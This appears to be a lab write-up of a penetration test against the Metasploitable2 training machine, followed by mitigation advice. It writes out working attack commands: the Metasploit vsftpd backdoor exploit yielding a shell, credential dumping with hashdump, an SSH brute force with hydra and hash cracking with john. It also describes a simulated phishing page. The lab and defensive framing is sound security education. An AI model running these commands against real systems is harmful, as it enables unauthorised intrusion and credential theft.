Exploitation Workflow

1. Reconnaissance & Scanning:

- Objective: Identify active hosts, open ports, and running services.

- Tools Used: nmap, netdiscover

- Command Example:

```
 nmap -sV -T4 -Pn <target-ip>
```

- Findings: Services such as FTP (vsFTPd 2.3.4), SSH, HTTP (Apache 2.2.8) detected.

2. Exploitation with Metasploit:

- Objective: Exploit known vulnerabilities to gain unauthorized access.

- Target: Metasploitable2 vulnerable services

- Steps:

```
 msfconsole
 search vsftpd
 use exploit/unix/ftp/vsftpd234backdoor
 set RHOST <target-ip>
 run
```

- Outcome: Reverse shell access established.

3. Post-Exploitation Activities:

- Objective: Enumerate system information and credentials.

- Commands Executed:

```
 sysinfo
 hashdump
```

- Findings: Retrieved user hashes and system metadata.

4. Password Attacks

- Brute-force SSH Access

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<target-ip>
```

- Hash Cracking:

```
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

- Result: Successful login and password recovery.

5. Social Engineering Simulation

- Objective: Demonstrate phishing awareness.
- Activity: Created a phishing login page using HTML/CSS.
- Outcome: Simulated credential capture and awareness training.

6. Malware Analysis (Benign Sample)

- Objective: Understand malware behavior.
- Method: Static and dynamic analysis in a sandbox.
- Tools: VirusTotal, Any.Run, Cuckoo Sandbox

Mitigation Strategies:

System Hardening:

- Apply latest security patches and updates.
- Disable unused services (e.g., FTP, Telnet).
- Configure firewall rules to restrict inbound traffic.

Authentication Controls:

- Enforce strong password policies and account lockout thresholds.
- Implement multi-factor authentication (MFA) for remote access.

Social Engineering Defense:

- Conduct regular phishing simulations and awareness training.
- Use email filtering and domain impersonation detection tools.

Malware Protection:

- Deploy endpoint protection with behavioral analysis.
- Use sandbox environments to analyze suspicious files before execution.

Monitoring & Logging:

- Implement SIEM tools to detect post-exploitation behavior.
- Monitor for suspicious commands and privilege escalation attempts.